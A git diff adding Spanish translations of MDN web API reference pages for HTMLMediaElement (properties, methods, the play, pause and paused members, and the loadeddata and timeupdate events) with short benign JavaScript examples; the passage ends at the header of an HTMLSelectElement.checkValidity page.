+ <dt>{{domxref("HTMLMediaElement.sinkId")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} that is the unique ID of the audio device delivering output, or an empty string if it is using the user agent default. This ID should be one of the <code>MediaDeviceInfo.deviceid</code> values returned from {{domxref("MediaDevices.enumerateDevices()")}}, <code>id-multimedia</code>, or <code>id-communications</code>.</dd>
+ <dt>{{domxref("HTMLMediaElement.src")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("src", "video")}} HTML attribute, which contains the URL of a media resource to use.</dd>
+ <dt>{{domxref("HTMLMediaElement.srcObject")}}</dt>
+ <dd>Is a {{domxref('MediaStream')}} representing the media to play or that has played in the current <code>HTMLMediaElement</code>, or <code>null</code> if not assigned.</dd>
+ <dt>{{domxref("HTMLMediaElement.textTracks")}} {{readonlyinline}}</dt>
+ <dd>Returns the list of {{domxref("TextTrack")}} objects contained in the element.</dd>
+ <dt>{{domxref("HTMLMediaElement.videoTracks")}} {{readonlyinline}}</dt>
+ <dd>Returns the list of {{domxref("VideoTrack")}} objects contained in the element.
+ <div class="note">
+ <p>Gecko sólo soporta la reproducción de una sola pista, y el análisis de los metadatos de las pistas sólo está disponible para los medios con el formato de contenedor Ogg.</p>
+ </div>
+ </dd>
+ <dt>{{domxref("HTMLMediaElement.volume")}}</dt>
+ <dd>Is a <code>double</code> indicating the audio volume, from 0.0 (silent) to 1.0 (loudest).</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt> </dt>
+ <dt>{{domxref("HTMLMediaElement.onencrypted")}}</dt>
+ <dd>Sets the {{domxref('EventHandler')}} called when the media is encrypted.</dd>
+ <dt>{{domxref("HTMLMediaElement.onwaitingforkey")}}</dt>
+ <dd>Sets the {{domxref('EventHandler')}} called when playback is blocked while waiting for an encryption key.</dd>
+</dl>
+
+<h2 id="Obsolete_attributes">Obsolete attributes</h2>
+
+<p>These attributes are obsolete and should not be used, even if a browser still supports them.</p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.initialTime")}} {{readonlyinline}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Returns a <code>double</code> that indicates the initial playback position in seconds.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozChannels")}} {{readonlyinline}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Returns a <code>double</code> representing the number of channels in the audio resource (e.g., <code>2</code> for stereo).</dd>
+</dl>
+
+<h3 id="Obsolete_event_handlers">Obsolete event handlers</h3>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.onmozinterruptbegin")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Sets the {{domxref("EventHandler")}} called when the media element is interrupted because of the Audio Channel manager. This was Firefox-specific, having been implemented for Firefox OS, and was removed in Firefox 55.</dd>
+ <dt>{{domxref("HTMLMediaElement.onmozinterruptend")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Sets the {{domxref('EventHandler')}} called when the interruption is concluded. This was Firefox-specific, having been implemented for Firefox OS, and was removed in Firefox 55.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface also inherits methods from its ancestors {{domxref("HTMLElement")}}, {{domxref('Element')}}, {{domxref('Node')}}, and {{domxref('EventTarget')}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.addTextTrack()")}}</dt>
+ <dd>Adds a text track (such as a track for subtitles) to a media element.</dd>
+ <dt>{{domxref("HTMLMediaElement.captureStream()")}} {{experimental_inline}}</dt>
+ <dd>Returns {{domxref("MediaStream")}}, captures a stream of the media content.</dd>
+ <dt>{{domxref("HTMLMediaElement.canPlayType()")}}</dt>
+ <dd>Determines whether the specified media type can be played back.</dd>
+ <dt>{{domxref("HTMLMediaElement.fastSeek()")}}</dt>
+ <dd>Directly seeks to the given time.</dd>
+ <dt>{{domxref("HTMLMediaElement.load()")}}</dt>
+ <dd>Resets the media to the beginning and selects the best available source from the sources provided using the {{htmlattrxref("src", "video")}} attribute or the {{HTMLElement("source")}} element.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozCaptureStream()")}} {{non-standard_inline}}</dt>
+ <dd>[enter description]</dd>
+ <dt>{{domxref("HTMLMediaElement.mozCaptureStreamUntilEnded()")}} {{non-standard_inline}}</dt>
+ <dd>[enter description]</dd>
+ <dt>{{domxref("HTMLMediaElement.mozGetMetadata()")}} {{non-standard_inline}}</dt>
+ <dd>Returns {{jsxref('Object')}}, which contains properties that represent metadata from the playing media resource as <code>{key: value}</code> pairs. A separate copy of the data is returned each time the method is called. This method must be called after the <a href="/en-US/docs/Web/Events/loadedmetadata">loadedmetadata</a> event fires.</dd>
+ <dt>{{domxref("HTMLMediaElement.pause()")}}</dt>
+ <dd>Pauses the media playback.</dd>
+ <dt>{{domxref("HTMLMediaElement.play()")}}</dt>
+ <dd>Begins playback of the media.</dd>
+ <dt>{{domxref("HTMLMediaElement.seekToNextFrame()")}} {{non-standard_inline}} {{experimental_inline}}</dt>
+ <dd>Seeks to the next frame in the media. This non-standard, experimental method makes it possible to manually drive reading and rendering of media at a custom speed, or to move through the media frame-by-frame to perform filtering or other operations.</dd>
+ <dt>{{domxref("HTMLMediaElement.setMediaKeys()")}} {{experimental_inline}}</dt>
+ <dd>Returns {{jsxref("Promise")}}. Sets the {{domxref("MediaKeys")}} keys to use when decrypting media during playback.</dd>
+ <dt>{{domxref("HTMLMediaElement.setSinkId()")}} {{experimental_inline}}</dt>
+ <dd>Sets the ID of the audio device to use for output and returns a {{jsxref("Promise")}}. This only works when the application is authorized to use the specified device.</dd>
+</dl>
+
+<h2 id="Obsolete_methods">Obsolete methods</h2>
+
+<p>These methods are obsolete and should not be used, even if a browser still supports them.</p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.mozLoadFrom()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>This method, available only in Mozilla's implementation, loads data from another media element. This works similarly to <code>load()</code> except that instead of running the normal resource selection algorithm, the source is simply set to the <code>other</code> element's <code>currentSrc</code>. This is optimized so this element gets access to all of the <code>other</code> element's cached and buffered data; in fact, the two elements share downloaded data, so data downloaded by either element is available to both.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-video-element.html#htmlmediaelement", "HTMLMediaElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('EME', '#introduction', 'Encrypted Media Extensions')}}</td>
+   <td>{{Spec2('EME')}}</td>
+   <td>Adds {{domxref("MediaKeys")}}, {{domxref("MediaEncryptedEvent")}}, {{domxref("setMediaKeys")}}, {{domxref("onencrypted")}}, and {{domxref("onwaitingforkey")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture','#htmlmediaelement-extensions','HTMLMediaElement')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Adds <code>sinkId</code> and <code>setSinkId()</code>, and <code>captureStream()</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, visite <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos una solicitud de extracción.</div>
+
+<p>{{Compat("api.HTMLMediaElement")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>References
+  <ul>
+   <li>{{HTMLElement("video")}} and {{HTMLElement("audio")}} HTML elements.</li>
+   <li>{{domxref("HTMLVideoElement")}} and {{domxref("HTMLAudioElement")}} interfaces, derived from <code>HTMLMediaElement</code>.</li>
+  </ul>
+ </li>
+ <li>Articles
+  <ul>
+   <li><a class="internal" href="/en-US/docs/Using_HTML5_audio_and_video">Using HTML5 audio and video</a></li>
+   <li><a class="internal" href="/en-US/docs/Media_formats_supported_by_the_audio_and_video_elements">Media formats supported by the audio and video elements</a></li>
+   <li><a href="/en-US/docs/Web_Audio_API">Web Audio API</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/es/web/api/htmlmediaelement/loadeddata_event/index.html b/files/es/web/api/htmlmediaelement/loadeddata_event/index.html
new file mode 100644
index 0000000000..6606275c6a
--- /dev/null
+++ b/files/es/web/api/htmlmediaelement/loadeddata_event/index.html
@@ -0,0 +1,130 @@
+---
+title: 'HTMLMediaElement: loadeddata event'
+slug: Web/API/HTMLMediaElement/loadeddata_event
+tags:
+  - Audio
+  - HTMLMediaElement
+  - Referências
+  - Video
+  - eventos
+translation_of: Web/API/HTMLMediaElement/loadeddata_event
+---
+<p>{{APIRef("HTMLMediaElement")}}</p>
+
+<p><span class="seoSummary">El evento <strong><code>loadeddata</code></strong> se arroja cuando el cuadro en la posición de reproducción actual del medio ha terminado de cargarse; a menudo el primer marco</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Burbujas</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Cancelable</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz</th>
+   <td>{{DOMxRef("Event")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo</th>
+   <td>Element</td>
+  </tr>
+  <tr>
+   <th scope="row">Acción por defecto</th>
+   <td>Ninguno</td>
+  </tr>
+  <tr>
+   <th scope="row">Propiedad del controlador de eventos</th>
+   <td>{{domxref("GlobalEventHandlers.onloadeddata")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Especificación</th>
+   <td><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-playing">HTML5 media</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p>Tenga en cuenta que este evento no se activará en dispositivos móviles / tablet, si el protector de datos está activado en configuración del navegador.</p>
+</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Estos ejemplos agregan un escucha de eventos para el evento de <code>loadeddata</code> del HTMLMediaElement, luego publican un mensaje cuando ese controlador de eventos ha respondido al disparo del evento.</p>
+
+<p>Utilizando <code>addEventListener()</code>:</p>
+
+<pre class="brush: js">const video = document.querySelector('video');
+
+video.addEventListener('loadeddata', (event) =&gt; {
+  console.log('Hurra! El readyState solo aumentó a ' +
+      'HAVE_CURRENT_DATA or mayor por primera vez.');
+});</pre>
+
+<p>Utilizando el <code>onloadeddata</code> propiedad del controlador de eventos:</p>
+
+<pre class="brush: js">const video = document.querySelector('video');
+
+video.onloadeddata = (event) =&gt; {
+  console.log('Hurra! El readyState solo aumentó a ' +
+      'HAVE_CURRENT_DATA or mayor por primera vez.');
+};</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Estado</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "media.html#event-media-loadeddata", "loadeddata media event")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#event-media-loadeddata", "loadeddata media event")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, consulte <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos una solicitud de extracción.</div>
+
+<p>{{Compat("api.HTMLMediaElement.loadeddata_event")}}</p>
+
+<h2 id="Eventos_Relacionados">Eventos Relacionados</h2>
+
+<ul>
+ <li>{{domxref("HTMLMediaElement.playing_event", 'HTMLMediaElement: playing event')}}</li>
+ <li>{{domxref("HTMLMediaElement.waiting_event", 'HTMLMediaElement: waiting event')}}</li>
+ <li>{{domxref("HTMLMediaElement.seeking_event", 'HTMLMediaElement: seeking event')}}</li>
+ <li>{{domxref("HTMLMediaElement.seeked_event", 'HTMLMediaElement: seeked event')}}</li>
+ <li>{{domxref("HTMLMediaElement.ended_event", 'HTMLMediaElement: ended event')}}</li>
+ <li>{{domxref("HTMLMediaElement.loadedmetadata_event", 'HTMLMediaElement: loadedmetadata event')}}</li>
+ <li>{{domxref("HTMLMediaElement.loadeddata_event", 'HTMLMediaElement: loadeddata event')}}</li>
+ <li>{{domxref("HTMLMediaElement.canplay_event", 'HTMLMediaElement: canplay event')}}</li>
+ <li>{{domxref("HTMLMediaElement.canplaythrough_event", 'HTMLMediaElement: canplaythrough event')}}</li>
+ <li>{{domxref("HTMLMediaElement.durationchange_event", 'HTMLMediaElement: durationchange event')}}</li>
+ <li>{{domxref("HTMLMediaElement.timeupdate_event", 'HTMLMediaElement: timeupdate event')}}</li>
+ <li>{{domxref("HTMLMediaElement.play_event", 'HTMLMediaElement: play event')}}</li>
+ <li>{{domxref("HTMLMediaElement.pause_event", 'HTMLMediaElement: pause event')}}</li>
+ <li>{{domxref("HTMLMediaElement.ratechange_event", 'HTMLMediaElement: ratechange event')}}</li>
+ <li>{{domxref("HTMLMediaElement.volumechange_event", 'HTMLMediaElement: volumechange event')}}</li>
+ <li>{{domxref("HTMLMediaElement.suspend_event", 'HTMLMediaElement: suspend event')}}</li>
+ <li>{{domxref("HTMLMediaElement.emptied_event", 'HTMLMediaElement: emptied event')}}</li>
+ <li>{{domxref("HTMLMediaElement.stalled_event", 'HTMLMediaElement: stalled event')}}</li>
+</ul>
+
+<h2 id="Ver_También">Ver También</h2>
+
+<ul>
+ <li>{{domxref("HTMLAudioElement")}}</li>
+ <li>{{domxref("HTMLVideoElement")}}</li>
+ <li>{{HTMLElement("audio")}}</li>
+ <li>{{HTMLElement("video")}}</li>
+</ul>
diff --git a/files/es/web/api/htmlmediaelement/pause/index.html b/files/es/web/api/htmlmediaelement/pause/index.html
new file mode 100644
index 0000000000..10e276e508
--- /dev/null
+++ b/files/es/web/api/htmlmediaelement/pause/index.html
@@ -0,0 +1,52 @@
+---
+title: HTMLMediaElement.pause()
+slug: Web/API/HTMLMediaElement/pause
+translation_of: Web/API/HTMLMediaElement/pause
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>El método <strong><code>HTMLMediaElement.pause()</code></strong> pausará la reproducción de los medios, si los medios ya están en pausa, este método no tendrá efecto.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>HTMLMediaElement</em>.pause()</pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<p>Ninguno.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Especificación</th>
+   <th>Estado</th>
+   <th>Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#dom-media-pause', 'pause()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition; living specification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','embedded-content-0.html#dom-media-pause','pause()')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, consulte <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos un pull request.</div>
+
+<p>{{Compat("api.HTMLMediaElement.pause")}}</p>
diff --git a/files/es/web/api/htmlmediaelement/paused/index.html b/files/es/web/api/htmlmediaelement/paused/index.html
new file mode 100644
index 0000000000..3bf4430dae
--- /dev/null
+++ b/files/es/web/api/htmlmediaelement/paused/index.html
@@ -0,0 +1,56 @@
+---
+title: HTMLMediaElement.paused
+slug: Web/API/HTMLMediaElement/paused
+translation_of: Web/API/HTMLMediaElement/paused
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>La propiedad <strong><code>HTMLMediaElement.paused</code></strong> es solo de lectura, indica si el elemento multimedia está en pausa.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>pausado</em> = <em>audioOVideo</em>.<strong>paused</strong></pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>Es un {{domxref("Boolean")}}. <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Mostrara <strong>true </strong>si está pausado y <strong>false </strong>en caso contrario.</span></font></p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">var obj = document.createElement('video');
+console.log(obj.paused); // true
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-media-paused", "HTMLMediaElement.paused")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement.paused")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página es generada a partir de datos estructurados. Si te gustaría contribuir con la información, por favor verifícalo en  <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envianos un pull request.</div>
+
+<p>{{Compat("api.HTMLMediaElement.paused")}}</p>
+
+<h2 id="See_Also" name="See_Also">Ver también</h2>
+
+<ul>
+ <li>La interfaz que lo define, {{domxref("HTMLMediaElement")}}.</li>
+</ul>
diff --git a/files/es/web/api/htmlmediaelement/play/index.html b/files/es/web/api/htmlmediaelement/play/index.html
new file mode 100644
index 0000000000..3931470b78
--- /dev/null
+++ b/files/es/web/api/htmlmediaelement/play/index.html
@@ -0,0 +1,124 @@
+---
+title: HTMLMediaElement.play()
+slug: Web/API/HTMLMediaElement/play
+translation_of: Web/API/HTMLMediaElement/play
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary">El método <code>play()</code> de {{domxref("HTMLMediaElement")}} intenta comenzar la reproducción de los medios. Devuelve una promesa ({{jsxref("Promise")}}) que se resuelve cuando la reproducción se ha iniciado con éxito.</span> Si no se inicia la reproducción por cualquier motivo, como problemas de permisos, la promesa será rechazada.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>promesa</em> = <em>HTMLMediaElement</em>.play();</pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Es una promesa({{jsxref("Promise")}}) que se resuelve cuando se inicia la reproducción, o se rechaza si por algún motivo no se puede iniciar la reproducción.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Los navegadores más antiguos pueden no devolver un valor de <code>play()</code>.</p>
+</div>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<p>El <strong>controlador de rechazo</strong> de la promesas se llama con un nombre de excepción pasado como su único parámetro de entrada (a diferencia de una excepción tradicional que se lanza). Los posibles errores incluyen:</p>
+
+<dl>
+ <dt><code>NotAllowedError</code>( <em>Error no permitido</em>)</dt>
+ <dd>El agente de usuario(navegador) o el sistema operativo no permiten la reproducción de medios en el contexto o situación actual. Esto puede suceder, por ejemplo, si el navegador requiere que el usuarion inicie explícitamente la reproducción de medios haciendo clic en el botón "reproducir".</dd>
+ <dt>NotSupportedError(<em> Error no admitido</em>)</dt>
+ <dd>La fuente de medios (que puede especificarse como {{domxref("MediaStream")}}, {{domxref("MediaSource")}}, {{domxref("Blob")}}, o {{domxref("File")}}) no representa un formato de medios compatible.</dd>
+</dl>
+
+<p>Se pueden informar otras excepciones, según los detalles de implementación del navegador, la implementación del reproductor de medios, etc.</p>
+
+<h2 id="Notas">Notas</h2>
+
+<p>Aunque generalmente se considera que el término "reproducción automática" se refiere a páginas que comienzan a reproducir contenido multimedia inmediatamente después de cargarse, las políticas de reproducción automática de los navegadores web también se aplican a cualquier reproducción de contenido multimedia que inicia por script, incluidas las llamadas a el método <code>play()</code>.</p>
+
+<p>Si el {{Glossary("user agent")}} está configurado para no permitir la reproducción automática o iniciada por script de medios, llamando el método <code>play()</code> hara que la promesa devuelta sea rechazada inmediatamente con un <code>NotAllowedError</code>. Los sitios web deben estar preparados para manejar esta situación. Por ejemplo, un sitio no debe presentar una interfaz de usuario que suponga que la reproducción ha comenzado automáticamenta, sino que debe actualizar su interfaz de usuario en función de si la promesa devuelta se resulve o se rechaza. Mira el {{anch("Example", "Ejemplo")}} abajo para más información.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> El método <code>play()</code> puede hacer que se le pida al usuario que otorgue permiso para reproducir medios, lo que puede ocacionar un posible retraso antes de que se resuelva la promesa devuelta. Asegúrese de que su código no espere una  respuesta inmediata.</p>
+</div>
+
+<p>Para obtener información más detallada sobre la reproducción automática y el bloqueo de reproducción automática, consulte nuestro artículo <a href="/en-US/docs/Web/Media/Autoplay_guide">Guía de reproducción automática para medios y API de audio web</a>.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Este ejemplo muestra cómo confirmar que la reproducción ha comenzado y cómo manejar adecuadamente la reproducción automática bloqueada:</p>
+
+<pre class="brush: js">let videoElem = document.getElementById("video");
+let playButton = document.getElementById("playbutton");
+
+playButton.addEventListener("click", handlePlayButton, false);
+playVideo();
+
+async function playVideo() {
+  try {
+    await videoElem.play();
+    playButton.className = "playing";
+  } catch(err) {
+    playButton.className = "";
+  }
+}
+
+function handlePlayButton() {
+  if (videoElem.paused) {
+    playVideo();
+  } else {
+    videoElem.pause();
+    playButton.className = "";
+  }
+}</pre>
+
+<p>En este ejemplo, la reproducción de video se activa y desactiva por la función <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/async_function">async</a></code> <code>playVideo()</code>. Intenta reproducir el video y, si tiene éxito, establece el nombre de clase del elemento <code>playButton</code> en "playing". Si la reproducción no se inicia, la clase del elemento <code>playButton</code> se borra, restaurando su apariencia predeterminada. Esto garantiza que el bóton de reproducción coincida con el estado real de reproducción al observar la resolución o el rechazo de {{jsxref("Promise")}} devuelto por el método <code>play()</code>.</p>
+
+<p>Cuando se ejecuta este ejemplo, comienza recogiendo referencias al elemento {{HTMLElement("video")}}, así como al {{HTMLElement("button")}} utilizado para activar y desactivar la reproducción. Luego configura un controlador de eventos para el evento {{event("click")}} en el botón de alternancia de reproducción e intenta comenzar automáticamente la reproducción llamando al método <code>playVideo()</code>.</p>
+
+<p>Puedes <a href="https://media-play-promise.glitch.me/">probar o remezclar este ejemplo en tiempo real en Glitch</a>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Especificación</th>
+   <th>Estatus</th>
+   <th>Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#dom-media-play', 'play()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition; living specification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','embedded-content-0.html#dom-media-play','play()')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Nota:</strong> Las versiones WHATWG y W3C de la especificación difieren (a partir de agosto de 2018) en cuanto a si este método devuelve una {{jsxref("Promise")}} o nada en absoluto, respectivamente.</p>
+</div>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, consulte <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos un pull request.</div>
+
+<p>{{Compat("api.HTMLMediaElement.play")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Media">Web media technologies</a></li>
+ <li>Learning: <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Video and audio content</a></li>
+ <li><a href="/en-US/docs/Web/Media/Autoplay_guide">Autoplay guide for media and Web Audio APIs</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/es/web/api/htmlmediaelement/timeupdate_event/index.html b/files/es/web/api/htmlmediaelement/timeupdate_event/index.html
new file mode 100644
index 0000000000..e7c931cf64
--- /dev/null
+++ b/files/es/web/api/htmlmediaelement/timeupdate_event/index.html
@@ -0,0 +1,82 @@
+---
+title: 'HTMLMediaElement: timeupdate'
+slug: Web/API/HTMLMediaElement/timeupdate_event
+translation_of: Web/API/HTMLMediaElement/timeupdate_event
+---
+<p>El evento <code>timeupdate es llamado cuando el tiempo indicado por el atributo currentTime es actualizado.</code></p>
+
+<p>La frecuencia del evento depende de la carga del sistema, pero se encuentra en un rango de 4Hz y 66Hz (asumiendo que los manejadores de eventos no toman mas de 250ms para correr). Se recomienda a los User agents variar la frecuencia del evento basados en la carga del sistema y el costo promedio de procesamiento del evento cada vez que corre, para que las actualizaciones a la UI no sean mas frecuentes que las que el user agent puede manejar confortablemente mientras se decodifica el video.</p>
+
+<h2 id="Información_General">Información General</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-timeupdate">HTML5 media</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None.</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Eventos_Relacionados">Eventos Relacionados</h2>
+
+<ul>
+ <li>{{event("playing")}}</li>
+ <li>{{event("waiting")}}</li>
+ <li>{{event("seeking")}}</li>
+ <li>{{event("seeked")}}</li>
+ <li>{{event("ended")}}</li>
+ <li>{{event("loadedmetadata")}}</li>
+ <li>{{event("loadeddata")}}</li>
+ <li>{{event("canplay")}}</li>
+ <li>{{event("canplaythrough")}}</li>
+ <li>{{event("durationchange")}}</li>
+ <li>{{event("timeupdate")}}</li>
+ <li>{{event("play")}}</li>
+ <li>{{event("pause")}}</li>
+ <li>{{event("ratechange")}}</li>
+ <li>{{event("volumechange")}}</li>
+ <li>{{event("suspend")}}</li>
+ <li>{{event("emptied")}}</li>
+ <li>{{event("stalled")}}</li>
+</ul>
diff --git a/files/es/web/api/htmlselectelement/checkvalidity/index.html b/files/es/web/api/htmlselectelement/checkvalidity/index.html
new file mode 100644
index 0000000000..fe4755de95
--- /dev/null
+++ b/files/es/web/api/htmlselectelement/checkvalidity/index.html
@@ -0,0 +1,53 @@
+---
+title: HTMLSelectElement.checkValidity()
+slug: Web/API/HTMLSelectElement/checkValidity
+tags:
+  - API
+  - Constraint Validation API
+  - HTML DOM
+  - HTMLSelectElement
+  - Referencia
+  - metodo
+translation_of: Web/API/HTMLSelectElement/checkValidity
+---
